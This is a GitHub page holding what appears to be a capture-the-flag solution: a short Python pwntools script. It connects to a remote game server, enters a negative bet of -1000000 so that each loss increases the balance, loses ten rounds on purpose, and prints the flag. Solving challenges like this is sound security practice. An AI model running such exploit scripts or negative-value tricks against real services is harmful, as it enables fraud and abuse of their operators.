Skip to content

Latest commit

 

History

History
24 lines (17 loc) · 521 Bytes

691.md

File metadata and controls

24 lines (17 loc) · 521 Bytes

Python Script:

from pwn import *

conn = remote("thekidofarcrania.com", 10001)

conn.recvuntil(b"Are you ready? Y/N :")

conn.sendline(b"Y")
conn.sendline(b"-1000000")  # 500 - (-1000000) = 1000500 (subtraction on losing)
conn.recvuntil(b"The Game is On, Good Luck !..")

guesses = b"11\n" * 10  # Lose 10 times
conn.send(guesses)
    
while True:
    data = conn.recvline().decode()
    if "flag" in data:
        print(data)
        break